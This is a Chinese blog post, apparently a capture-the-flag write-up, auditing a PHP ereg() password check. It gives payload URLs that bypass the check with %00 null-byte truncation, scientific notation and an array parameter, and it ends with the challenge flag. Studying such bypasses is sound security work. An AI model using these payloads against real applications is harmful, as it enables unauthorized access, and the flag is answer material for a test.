zoukankan      html  css  js  c++  java
  • 代码审计-ereg正则%00截断

    <?php
    $flag = "xxx";
    if (isset ($_GET['password']))
    {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
    echo 'You password must be alphanumeric ';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
    if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
    {
        die('Flag: ' . $flag);
    }
    else
    {
        echo('- have not been found');
    }
    }
    else
    {
        echo 'Invalid password';
    }
    }
    ?>

    ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的

    用正则匹配,如果有^[a-zA-Z0-9]+$则直接错误,我们可以用%00来截断,在%00之后的数值函数无法识别

    同时满足   strlen($_GET['password']) < 8 && $_GET['password'] > 9999999

    长度跟数值本来就矛盾,我们可以用1e8 即1x10的八次方或者用数组绕过

    payload

    http://123.206.87.240:9009/5.php?password=1e8%00-

    返回值的结果没有flag

    不知道是不是题目出错了还是故意的

    最终的payload

    http://123.206.87.240:9009/5.php?password=1e8%00*-*
    http://123.206.87.240:9009/5.php?password[]=*-*%00

    Flag: flag{bugku-dm-sj-a12JH8}

     

  • 相关阅读:
    java集合
    struts2的OGNL表达式
    struts2 result type
    struts2在Action中访问WEB资源
    03异或^
    02自加自减运算机制
    原码,补码,反码
    Java基础50题test10—自由落体
    Java基础50题test9—求完数
    Java基础50题test8—输入数字求和
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11408229.html
Copyright © 2011-2022 走看看